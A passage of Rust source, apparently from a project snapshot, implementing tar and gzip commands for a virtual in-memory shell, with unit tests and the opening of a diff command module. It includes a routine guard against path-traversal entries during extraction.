entry (empty sentinel with trailing /)\n                let mut dir_path = archive_path.clone();\n                let dir_name = format!(\"{}/\", dir_path.display());\n                dir_path = PathBuf::from(dir_name);\n                result.push((dir_path, Vec::new()));\n                let sub = collect_files_recursive(fs, &full_path, &archive_path)?;\n                result.extend(sub);\n            }\n            crate::vfs::NodeType::Symlink => {\n                // TODO: Preserve symlink nature in tar (currently stored as regular file)\n                if let Ok(data) = fs.read_file(&full_path) {\n                    result.push((archive_path, data));\n                }\n            }\n        }\n    }\n    Ok(result)\n}\n\nfn tar_create(\n    ctx: &CommandContext,\n    effective_cwd: &str,\n    archive_file: Option<&str>,\n    files: &[String],\n    gzip: bool,\n    verbose: bool,\n) -> CommandResult {\n    if files.is_empty() {\n        return CommandResult {\n            stderr: \"tar: Cowardly refusing to create an empty archive\\n\".to_string(),\n            exit_code: 2,\n            ..Default::default()\n        };\n    }\n\n    // Build tar archive in memory\n    let mut tar_builder = tar::Builder::new(Vec::new());\n    let mut verbose_output = String::new();\n    let mut stderr = String::new();\n\n    for file_arg in files {\n        let path = resolve_path(file_arg, effective_cwd);\n\n        if !ctx.fs.exists(&path) {\n            stderr.push_str(&format!(\"tar: {}: No such file or directory\\n\", file_arg));\n            continue;\n        }\n\n        let stat = match ctx.fs.stat(&path) {\n            Ok(s) => s,\n            Err(e) => {\n                stderr.push_str(&format!(\"tar: {}: {}\\n\", file_arg, e));\n                continue;\n            }\n        };\n\n        if stat.node_type == crate::vfs::NodeType::Directory {\n            // Recursively add directory contents\n            let entries = match collect_files_recursive(ctx.fs, &path, Path::new(file_arg)) {\n                Ok(e) => e,\n                Err(msg) => {\n                    stderr.push_str(&msg);\n                    continue;\n                }\n            };\n\n            // Add directory entry itself\n            let mut dir_header = tar::Header::new_gnu();\n            dir_header.set_entry_type(tar::EntryType::Directory);\n            dir_header.set_size(0);\n            dir_header.set_mode(0o755);\n            dir_header.set_mtime(system_time_to_secs(stat.mtime));\n            let dir_name = format!(\"{}/\", file_arg);\n            dir_header.set_cksum();\n            if tar_builder\n                .append_data(&mut dir_header, &dir_name, &[][..])\n                .is_err()\n            {\n                stderr.push_str(&format!(\"tar: error writing {}\\n\", dir_name));\n                continue;\n            }\n            if verbose {\n                verbose_output.push_str(&format!(\"{}\\n\", dir_name));\n            }\n\n            for (archive_path, data) in entries {\n                let archive_name = archive_path.to_string_lossy().to_string();\n\n                // Directory sentinel: path ends with / and data is empty\n                if archive_name.ends_with('/') && data.is_empty() {\n                    let mut header = tar::Header::new_gnu();\n                    header.set_entry_type(tar::EntryType::Directory);\n                    header.set_size(0);\n                    header.set_mode(0o755);\n                    header.set_mtime(0);\n                    header.set_cksum();\n                    if tar_builder\n                        .append_data(&mut header, &archive_name, &[][..])\n                        .is_err()\n                    {\n                        stderr.push_str(&format!(\"tar: error writing {}\\n\", archive_name));\n                    }\n                    if verbose {\n                        verbose_output.push_str(&format!(\"{}\\n\", archive_name));\n                    }\n                    continue;\n                }\n\n                let mut header = tar::Header::new_gnu();\n                header.set_size(data.len() as u64);\n                header.set_mode(0o644);\n                header.set_mtime(0);\n                header.set_cksum();\n\n                let archive_name = archive_path.to_string_lossy().to_string();\n                if tar_builder\n                    .append_data(&mut header, &archive_name, &data[..])\n                    .is_err()\n                {\n                    stderr.push_str(&format!(\"tar: error writing {}\\n\", archive_name));\n                    continue;\n                }\n                if verbose {\n                    verbose_output.push_str(&format!(\"{}\\n\", archive_name));\n                }\n            }\n        } else {\n            // Single file\n            let data = match ctx.fs.read_file(&path) {\n                Ok(d) => d,\n                Err(e) => {\n                    stderr.push_str(&format!(\"tar: {}: {}\\n\", file_arg, e));\n                    continue;\n                }\n            };\n\n            let mut header = tar::Header::new_gnu();\n            header.set_size(data.len() as u64);\n            header.set_mode(0o644);\n            header.set_mtime(system_time_to_secs(stat.mtime));\n            header.set_cksum();\n\n            if tar_builder\n                .append_data(&mut header, file_arg, &data[..])\n                .is_err()\n            {\n                stderr.push_str(&format!(\"tar: error writing {}\\n\", file_arg));\n                continue;\n            }\n            if verbose {\n                verbose_output.push_str(&format!(\"{}\\n\", file_arg));\n            }\n        }\n    }\n\n    // Finalize\n    let tar_data = match tar_builder.into_inner() {\n        Ok(d) => d,\n        Err(e) => {\n            return CommandResult {\n                stderr: format!(\"tar: {}\\n\", e),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n    };\n\n    // Optionally compress with gzip\n    let final_data = if gzip {\n        let mut encoder = GzEncoder::new(&tar_data[..], Compression::default());\n        let mut compressed = Vec::new();\n        if let Err(e) = encoder.read_to_end(&mut compressed) {\n            return CommandResult {\n                stderr: format!(\"tar: gzip compression failed: {}\\n\", e),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n        compressed\n    } else {\n        tar_data\n    };\n\n    // Write to file or stdout\n    let has_errors = !stderr.is_empty();\n    match archive_file {\n        Some(\"-\") | None => {\n            // Output to stdout as binary\n            CommandResult {\n                stdout: verbose_output,\n                stderr,\n                exit_code: i32::from(has_errors),\n                stdout_bytes: Some(final_data),\n            }\n        }\n        Some(name) => {\n            let path = resolve_path(name, ctx.cwd);\n            if let Err(e) = ctx.fs.write_file(&path, &final_data) {\n                return CommandResult {\n                    stderr: format!(\"tar: {}: {}\\n\", name, e),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n            CommandResult {\n                stdout: verbose_output,\n                stderr,\n                exit_code: i32::from(has_errors),\n                stdout_bytes: None,\n            }\n        }\n    }\n}\n\nfn tar_extract(\n    ctx: &CommandContext,\n    effective_cwd: &str,\n    archive_file: Option<&str>,\n    gzip: bool,\n    verbose: bool,\n) -> CommandResult {\n    // Read archive data\n    let archive_data = match archive_file {\n        Some(\"-\") | None => {\n            if let Some(bytes) = ctx.stdin_bytes {\n                bytes.to_vec()\n            } else {\n                ctx.stdin.as_bytes().to_vec()\n            }\n        }\n        Some(name) => {\n            let path = resolve_path(name, ctx.cwd);\n            match ctx.fs.read_file(&path) {\n                Ok(d) => d,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"tar: {}: {}\\n\", name, e),\n                        exit_code: 1,\n                        ..Default::default()\n                    };\n                }\n            }\n        }\n    };\n\n    // Optionally decompress gzip\n    let tar_data = if gzip {\n        let mut decoder = GzDecoder::new(&archive_data[..]);\n        let mut decompressed = Vec::new();\n        if let Err(e) = decoder.read_to_end(&mut decompressed) {\n            return CommandResult {\n                stderr: format!(\"tar: gzip decompression failed: {}\\n\", e),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n        decompressed\n    } else {\n        archive_data\n    };\n\n    // Extract entries\n    let mut archive = tar::Archive::new(&tar_data[..]);\n    let entries = match archive.entries() {\n        Ok(e) => e,\n        Err(e) => {\n            return CommandResult {\n                stderr: format!(\"tar: {}\\n\", e),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n    };\n\n    let mut verbose_output = String::new();\n    let mut stderr = String::new();\n\n    for entry_result in entries {\n        let mut entry = match entry_result {\n            Ok(e) => e,\n            Err(e) => {\n                stderr.push_str(&format!(\"tar: {}\\n\", e));\n                continue;\n            }\n        };\n\n        let entry_path = match entry.path() {\n            Ok(p) => p.to_path_buf(),\n            Err(e) => {\n                stderr.push_str(&format!(\"tar: {}\\n\", e));\n                continue;\n            }\n        };\n\n        let full_path = resolve_path(&entry_path.to_string_lossy(), effective_cwd);\n\n        // Guard against path-traversal attacks (e.g., entries like \"../../bin/ls\")\n        let normalized = normalize_path(&full_path);\n        let normalized_str = normalized.to_string_lossy();\n        let norm_cwd = if effective_cwd.ends_with('/') {\n            effective_cwd.to_string()\n        } else {\n            format!(\"{}/\", effective_cwd)\n        };\n        if !normalized_str.starts_with(&norm_cwd) && *normalized_str != *effective_cwd {\n            stderr.push_str(&format!(\n                \"tar: {}: path escapes extraction directory, skipping\\n\",\n                entry_path.display()\n            ));\n            continue;\n        }\n\n        if verbose {\n            verbose_output.push_str(&format!(\"{}\\n\", entry_path.display()));\n        }\n\n        match entry.header().entry_type() {\n            tar::EntryType::Directory => {\n                if let Err(e) = ctx.fs.mkdir_p(&full_path) {\n                    stderr.push_str(&format!(\"tar: {}: {}\\n\", entry_path.display(), e));\n                }\n            }\n            tar::EntryType::Regular | tar::EntryType::GNUSparse => {\n                // Ensure parent directory exists\n                if let Some(parent) = full_path.parent()\n                    && !ctx.fs.exists(parent)\n                {\n                    let _ = ctx.fs.mkdir_p(parent);\n                }\n\n                let mut data = Vec::new();\n                if let Err(e) = entry.read_to_end(&mut data) {\n                    stderr.push_str(&format!(\"tar: {}: {}\\n\", entry_path.display(), e));\n                    continue;\n                }\n\n                if let Err(e) = ctx.fs.write_file(&full_path, &data) {\n                    stderr.push_str(&format!(\"tar: {}: {}\\n\", entry_path.display(), e));\n                }\n            }\n            _ => {\n                // Skip other entry types (symlinks, etc.) - read data to advance cursor\n                let mut data = Vec::new();\n                let _ = entry.read_to_end(&mut data);\n                // Try to write as a regular file\n                if let Some(parent) = full_path.parent()\n                    && !ctx.fs.exists(parent)\n                {\n                    let _ = ctx.fs.mkdir_p(parent);\n                }\n                let _ = ctx.fs.write_file(&full_path, &data);\n            }\n        }\n    }\n\n    let has_errors = !stderr.is_empty();\n    CommandResult {\n        stdout: verbose_output,\n        stderr,\n        exit_code: i32::from(has_errors),\n        stdout_bytes: None,\n    }\n}\n\nfn tar_list(\n    ctx: &CommandContext,\n    _effective_cwd: &str,\n    archive_file: Option<&str>,\n    gzip: bool,\n    verbose: bool,\n) -> CommandResult {\n    // Read archive data\n    let archive_data = match archive_file {\n        Some(\"-\") | None => {\n            if let Some(bytes) = ctx.stdin_bytes {\n                bytes.to_vec()\n            } else {\n                ctx.stdin.as_bytes().to_vec()\n            }\n        }\n        Some(name) => {\n            let path = resolve_path(name, ctx.cwd);\n            match ctx.fs.read_file(&path) {\n                Ok(d) => d,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"tar: {}: {}\\n\", name, e),\n                        exit_code: 1,\n                        ..Default::default()\n                    };\n                }\n            }\n        }\n    };\n\n    // Optionally decompress gzip\n    let tar_data = if gzip {\n        let mut decoder = GzDecoder::new(&archive_data[..]);\n        let mut decompressed = Vec::new();\n        if let Err(e) = decoder.read_to_end(&mut decompressed) {\n            return CommandResult {\n                stderr: format!(\"tar: gzip decompression failed: {}\\n\", e),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n        decompressed\n    } else {\n        archive_data\n    };\n\n    let mut archive = tar::Archive::new(&tar_data[..]);\n    let entries = match archive.entries() {\n        Ok(e) => e,\n        Err(e) => {\n            return CommandResult {\n                stderr: format!(\"tar: {}\\n\", e),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n    };\n\n    let mut output = String::new();\n\n    for entry_result in entries {\n        let entry = match entry_result {\n            Ok(e) => e,\n            Err(e) => {\n                return CommandResult {\n                    stderr: format!(\"tar: {}\\n\", e),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n        };\n\n        let path = match entry.path() {\n            Ok(p) => p.to_path_buf(),\n            Err(e) => {\n                return CommandResult {\n                    stderr: format!(\"tar: {}\\n\", e),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n        };\n\n        if verbose {\n            let header = entry.header();\n            let mode = header.mode().unwrap_or(0);\n            let size = header.size().unwrap_or(0);\n            output.push_str(&format!(\"{:o} {:>8} {}\\n\", mode, size, path.display()));\n        } else {\n            output.push_str(&format!(\"{}\\n\", path.display()));\n        }\n    }\n\n    CommandResult {\n        stdout: output,\n        stderr: String::new(),\n        exit_code: 0,\n        stdout_bytes: None,\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::VirtualCommand;\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn setup() -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        (\n            Arc::new(InMemoryFs::new()),\n            HashMap::new(),\n            ExecutionLimits::default(),\n            NetworkPolicy::default(),\n        )\n    }\n\n    fn ctx<'a>(\n        fs: &'a dyn crate::vfs::VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        np: &'a NetworkPolicy,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits,\n            network_policy: np,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    fn ctx_with_stdin_bytes<'a>(\n        fs: &'a dyn crate::vfs::VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        np: &'a NetworkPolicy,\n        stdin: &'a str,\n        stdin_bytes: Option<&'a [u8]>,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin,\n            stdin_bytes,\n            limits,\n            network_policy: np,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    // ── gzip tests ──────────────────────────────────────────────────\n\n    #[test]\n    fn gzip_compress_file_creates_gz() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = GzipCommand.execute(&[\"test.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        assert!(fs.exists(Path::new(\"/test.txt.gz\")));\n        assert!(!fs.exists(Path::new(\"/test.txt\"))); // original removed\n    }\n\n    #[test]\n    fn gzip_keep_original() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = GzipCommand.execute(&[\"-k\".into(), \"test.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        assert!(fs.exists(Path::new(\"/test.txt.gz\")));\n        assert!(fs.exists(Path::new(\"/test.txt\"))); // original kept\n    }\n\n    #[test]\n    fn gzip_decompress_file() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        // Compress first\n        GzipCommand.execute(&[\"test.txt\".into()], &c);\n        assert!(fs.exists(Path::new(\"/test.txt.gz\")));\n\n        // Decompress\n        let r = GzipCommand.execute(&[\"-d\".into(), \"test.txt.gz\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        assert!(fs.exists(Path::new(\"/test.txt\")));\n        assert!(!fs.exists(Path::new(\"/test.txt.gz\")));\n\n        let content = fs.read_file(Path::new(\"/test.txt\")).unwrap();\n        assert_eq!(content, b\"hello world\\n\");\n    }\n\n    #[test]\n    fn gzip_to_stdout() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = GzipCommand.execute(&[\"-c\".into(), \"test.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        assert!(r.stdout_bytes.is_some());\n        assert!(fs.exists(Path::new(\"/test.txt\"))); // original kept with -c\n    }\n\n    #[test]\n    fn gzip_stdin_compress_decompress_roundtrip() {\n        let (fs, env, limits, np) = setup();\n        let input = \"hello binary world\\n\";\n\n        // Compress from stdin\n        let c = ctx_with_stdin_bytes(&*fs, &env, &limits, &np, input, None);\n        let compressed = GzipCommand.execute(&[], &c);\n        assert_eq!(compressed.exit_code, 0, \"stderr: {}\", compressed.stderr);\n        assert!(compressed.stdout_bytes.is_some());\n\n        // Decompress from stdin_bytes (simulating pipeline)\n        let bytes = compressed.stdout_bytes.unwrap();\n        let c2 = ctx_with_stdin_bytes(&*fs, &env, &limits, &np, \"\", Some(&bytes));\n        let decompressed = GunzipCommand.execute(&[], &c2);\n        assert_eq!(decompressed.exit_code, 0, \"stderr: {}\", decompressed.stderr);\n        let output = decompressed\n            .stdout_bytes\n            .map(|b| String::from_utf8_lossy(&b).into_owned())\n            .unwrap_or(decompressed.stdout);\n        assert_eq!(output, input);\n    }\n\n    #[test]\n    fn gunzip_file() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.txt\"), b\"hello\\n\").unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        GzipCommand.execute(&[\"test.txt\".into()], &c);\n        let r = GunzipCommand.execute(&[\"test.txt.gz\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        assert!(fs.exists(Path::new(\"/test.txt\")));\n        let content = fs.read_file(Path::new(\"/test.txt\")).unwrap();\n        assert_eq!(content, b\"hello\\n\");\n    }\n\n    #[test]\n    fn zcat_file() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.txt\"), b\"zcat test\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        GzipCommand.execute(&[\"-k\".into(), \"test.txt\".into()], &c);\n        let r = ZcatCommand.execute(&[\"test.txt.gz\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        let output = r\n            .stdout_bytes\n            .map(|b| String::from_utf8_lossy(&b).into_owned())\n            .unwrap_or(r.stdout);\n        assert_eq!(output, \"zcat test\\n\");\n        assert!(fs.exists(Path::new(\"/test.txt.gz\"))); // not removed\n    }\n\n    #[test]\n    fn gzip_nonexistent_file() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = GzipCommand.execute(&[\"nonexistent.txt\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n        assert!(r.stderr.contains(\"nonexistent.txt\"));\n    }\n\n    #[test]\n    fn gzip_compression_levels() {\n        let (fs, env, limits, np) = setup();\n        let data = \"a\".repeat(1000);\n        fs.write_file(Path::new(\"/test.txt\"), data.as_bytes())\n            .unwrap();\n\n        // Fast compression\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r1 = GzipCommand.execute(&[\"-c\".into(), \"-1\".into(), \"test.txt\".into()], &c);\n        assert_eq!(r1.exit_code, 0);\n        let fast_size = r1.stdout_bytes.as_ref().unwrap().len();\n\n        // Best compression\n        let r9 = GzipCommand.execute(&[\"-c\".into(), \"-9\".into(), \"test.txt\".into()], &c);\n        assert_eq!(r9.exit_code, 0);\n        let best_size = r9.stdout_bytes.as_ref().unwrap().len();\n\n        // Best should be <= fast\n        assert!(best_size <= fast_size);\n    }\n\n    // ── tar tests ───────────────────────────────────────────────────\n\n    #[test]\n    fn tar_create_and_extract_file() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/hello.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        // Create archive\n        let r = TarCommand.execute(&[\"cf\".into(), \"archive.tar\".into(), \"hello.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"create stderr: {}\", r.stderr);\n        assert!(fs.exists(Path::new(\"/archive.tar\")));\n\n        // Remove original\n        fs.remove_file(Path::new(\"/hello.txt\")).unwrap();\n\n        // Extract\n        let r = TarCommand.execute(&[\"xf\".into(), \"archive.tar\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"extract stderr: {}\", r.stderr);\n        assert!(fs.exists(Path::new(\"/hello.txt\")));\n\n        let content = fs.read_file(Path::new(\"/hello.txt\")).unwrap();\n        assert_eq!(content, b\"hello world\\n\");\n    }\n\n    #[test]\n    fn tar_create_and_list() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/a.txt\"), b\"aaa\").unwrap();\n        fs.write_file(Path::new(\"/b.txt\"), b\"bbb\").unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        TarCommand.execute(\n            &[\n                \"cf\".into(),\n                \"archive.tar\".into(),\n                \"a.txt\".into(),\n                \"b.txt\".into(),\n            ],\n            &c,\n        );\n\n        let r = TarCommand.execute(&[\"tf\".into(), \"archive.tar\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        assert!(r.stdout.contains(\"a.txt\"));\n        assert!(r.stdout.contains(\"b.txt\"));\n    }\n\n    #[test]\n    fn tar_create_directory() {\n        let (fs, env, limits, np) = setup();\n        fs.mkdir_p(Path::new(\"/mydir\")).unwrap();\n        fs.write_file(Path::new(\"/mydir/file1.txt\"), b\"content1\")\n            .unwrap();\n        fs.write_file(Path::new(\"/mydir/file2.txt\"), b\"content2\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        TarCommand.execute(&[\"cf\".into(), \"archive.tar\".into(), \"mydir\".into()], &c);\n\n        // List\n        let r = TarCommand.execute(&[\"tf\".into(), \"archive.tar\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"stderr: {}\", r.stderr);\n        assert!(r.stdout.contains(\"mydir/\"));\n        assert!(r.stdout.contains(\"mydir/file1.txt\"));\n        assert!(r.stdout.contains(\"mydir/file2.txt\"));\n    }\n\n    #[test]\n    fn tar_with_gzip() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.txt\"), b\"gzipped tar content\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        // Create gzipped tar\n        let r = TarCommand.execute(\n            &[\"czf\".into(), \"archive.tar.gz\".into(), \"test.txt\".into()],\n            &c,\n        );\n        assert_eq!(r.exit_code, 0, \"create stderr: {}\", r.stderr);\n\n        // Remove original\n        fs.remove_file(Path::new(\"/test.txt\")).unwrap();\n\n        // Extract\n        let r = TarCommand.execute(&[\"xzf\".into(), \"archive.tar.gz\".into()], &c);\n        assert_eq!(r.exit_code, 0, \"extract stderr: {}\", r.stderr);\n\n        let content = fs.read_file(Path::new(\"/test.txt\")).unwrap();\n        assert_eq!(content, b\"gzipped tar content\\n\");\n    }\n\n    #[test]\n    fn tar_verbose() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/file.txt\"), b\"data\").unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        let r = TarCommand.execute(&[\"cvf\".into(), \"archive.tar\".into(), \"file.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"file.txt\"));\n    }\n\n    #[test]\n    fn tar_change_dir() {\n        let (fs, env, limits, np) = setup();\n        fs.mkdir_p(Path::new(\"/src\")).unwrap();\n        fs.write_file(Path::new(\"/src/code.rs\"), b\"fn main() {}\")\n            .unwrap();\n        fs.mkdir_p(Path::new(\"/dest\")).unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n\n        // Create archive from /src\n        let r = TarCommand.execute(\n            &[\n                \"-C\".into(),\n                \"/src\".into(),\n                \"-cf\".into(),\n                \"/archive.tar\".into(),\n                \"code.rs\".into(),\n            ],\n            &c,\n        );\n        assert_eq!(r.exit_code, 0, \"create stderr: {}\", r.stderr);\n\n        // Extract to /dest\n        let r = TarCommand.execute(\n            &[\n                \"-C\".into(),\n                \"/dest\".into(),\n                \"-xf\".into(),\n                \"/archive.tar\".into(),\n            ],\n            &c,\n        );\n        assert_eq!(r.exit_code, 0, \"extract stderr: {}\", r.stderr);\n        assert!(fs.exists(Path::new(\"/dest/code.rs\")));\n    }\n\n    #[test]\n    fn tar_no_mode_specified() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = TarCommand.execute(&[\"-f\".into(), \"test.tar\".into()], &c);\n        assert_eq!(r.exit_code, 2);\n        assert!(r.stderr.contains(\"must specify\"));\n    }\n\n    #[test]\n    fn tar_empty_archive_refused() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = TarCommand.execute(&[\"cf\".into(), \"empty.tar\".into()], &c);\n        assert_eq!(r.exit_code, 2);\n        assert!(r.stderr.contains(\"empty archive\"));\n    }\n}\n","/home/user/src/commands/diff_cmd.rs":"//! diff command: compare files line by line\n\nuse crate::commands::{CommandContext, CommandMeta, CommandResult};\nuse crate::vfs::NodeType;\nuse similar::TextDiff;\nuse std::path::PathBuf;\n\npub struct DiffCommand;\n\n#[derive(Clone, Copy, PartialEq, Eq)]\nenum OutputFormat {\n    Normal,\n    Unified(usize),\n    Context(usize),\n}\n\nstruct DiffOpts<'a> {\n    format: OutputFormat,\n    recursive: bool,\n    brief: bool,\n    report_identical: bool,\n    new_file: bool,\n    ignore_case: bool,\n    ignore_all_space: bool,\n    ignore_space_change: bool,\n    ignore_blank_lines: bool,\n    labels: Vec<&'a str>,\n}\n\nimpl<'a> Default for DiffOpts<'a> {\n    fn default() -> Self {\n        Self {\n            format: OutputFormat::Normal,\n            recursive: false,\n            brief: false,\n            report_identical: false,\n            new_file: false,\n            ignore_case: false,\n            ignore_all_space: false,\n            ignore_space_change: false,\n            ignore_blank_lines: false,\n            labels: Vec::new(),\n        }\n    }\n}\n\n/// Holds preprocessed and original line data for a single file side.\nstruct DiffInput<'a> {\n    orig: Vec<&'a str>,\n    proc: Vec<String>,\n    map: Vec<usize>,\n}\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\nfn preprocess_line(line: &str, opts: &DiffOpts) -> String {\n    let mut s = line.to_string();\n    if opts.ignore_case {\n        s = s.to_lowercase();\n    }\n    if opts.ignore_all_space {\n        s.retain(|c| !c.is_whitespace());\n    } else if opts.ignore_space_change {\n        let mut result = String::with_capacity(s.len());\n        let mut in_space = false;\n        for c in s.chars() {\n            if c.is_whitespace() {\n                if !in_space {\n                    result.push(' ');\n                    in_space = true;\n                }\n            } else {\n                result.push(c);\n                in_space = false;\n            }\n        }\n        s = result.trim_end().to_string();\n    }\n    s\n}\n\nfn needs_preprocessing(opts: &DiffOpts) -> bool {\n    opts.ignore_blank_lines || opts.ignore_case || opts.ignore_all_space || opts.ignore_space_change\n}\n\n/// Split content into lines (preserving line endings via split_inclusive),\n/// preprocess each line for comparison, and return a `DiffInput`.\nfn preprocess_lines<'a>(content: &'a str, opts: &DiffOpts) -> DiffInput<'a> {\n    let orig_lines: Vec<&str> = if content.is_empty() {\n        Vec::new()\n    } else {\n        content.split_inclusive('\\n').collect()\n    };\n\n    if !needs_preprocessing(opts) {\n        let proc: Vec<String> = orig_lines.iter().map(|l| l.to_string()).collect();\n        let idx_map: Vec<usize> = (0..orig_lines.len()).collect();\n        return DiffInput {\n            orig: orig_lines,\n            proc,\n            map: idx_map,\n        };\n    }\n\n    let mut proc_lines = Vec::new();\n    let mut idx_map = Vec::new();\n\n    for (i, line) in orig_lines.iter().enumerate() {\n        if opts.ignore_blank_lines && line.trim().is_empty() {\n            continue;\n        }\n        proc_lines.push(preprocess_line(line, opts));\n        idx_map.push(i);\n    }\n\n    DiffInput {\n        orig: orig_lines,\n        proc: proc_lines,\n        map: idx_map,\n    }\n}\n\nfn read_file_content(path: &str, ctx: &CommandContext) -> Result<String, String> {\n    if path == \"-\" {\n        return Ok(ctx.stdin.to_string());\n    }\n    let resolved = resolve_path(path, ctx.cwd);\n    match ctx.fs.read_file(&resolved) {\n        Ok(bytes) => Ok(String::from_utf8_lossy(&bytes).to_string()),\n        Err(e) => Err(format!(\"diff: {}: {}\", path, e)),\n    }\n}\n\nfn is_directory(path: &str, ctx: &CommandContext) -> bool {\n    if path == \"-\" {\n        return false;\n    }\n    let resolved = resolve_path(path, ctx.cwd);\n    match ctx.fs.stat(&resolved) {\n        Ok(meta) => meta.node_type == NodeType::Directory,\n        Err(_) => false,\n    }\n}\n\nfn file_exists(path: &str, ctx: &CommandContext) -> bool {\n    if path == \"-\" {\n        return true;\n    }\n    let resolved = resolve_path(path, ctx.cwd);\n    ctx.fs.exists(&resolved)\n}\n\n/// Formats diff output in normal (ed-style) format.\nfn format_normal_diff(a: &DiffInput, b: &DiffInput) -> String {\n    let p1_refs: Vec<&str> = a.proc.iter().map(|s| s.as_str()).collect();\n    let p2_refs: Vec<&str> = b.proc.iter().map(|s| s.as_str()).collect();\n    let diff = TextDiff::from_slices(&p1_refs, &p2_refs);\n    let mut output = String::new();\n\n    for group in diff.grouped_ops(0) {\n        let first_op = &group[0];\n        let last_op = &group[group.len() - 1];\n\n        let old_range = first_op.old_range().start..last_op.old_range().end;\n        let new_range = first_op.new_range().start..last_op.new_range().end;\n\n        // Map preprocessed indices to 1-based original line numbers\n        let mapped_old_start = map_to_orig_1based(&a.map, old_range.start);\n        let mapped_old_end = map_to_orig_1based(&a.map, old_range.end.saturating_sub(1));\n        let mapped_new_start = map_to_orig_1based(&b.map, new_range.start);\n        let mapped_new_end = map_to_orig_1based(&b.map, new_range.end.saturating_sub(1));\n\n        // Position *before* an insert/delete point (the line before)\n        let old_before = if old_range.start > 0 {\n            map_to_orig_1based(&a.map, old_range.start - 1)\n        } else {\n            0\n        };\n        let new_before = if new_range.start > 0 {\n            map_to_orig_1based(&b.map, new_range.start - 1)\n        } else {\n            0\n        };\n\n        let has_delete = group\n            .iter()\n            .any(|op| matches!(op, similar::DiffOp::Delete { .. }));\n        let has_insert = group\n            .iter()\n            .any(|op| matches!(op, similar::DiffOp::Insert { .. }));\n        let has_replace = group\n            .iter()\n            .any(|op| matches!(op, similar::DiffOp::Replace { .. }));\n\n        if has_replace || (has_delete && has_insert) {\n            let old_range_str = format_normal_range(mapped_old_start, 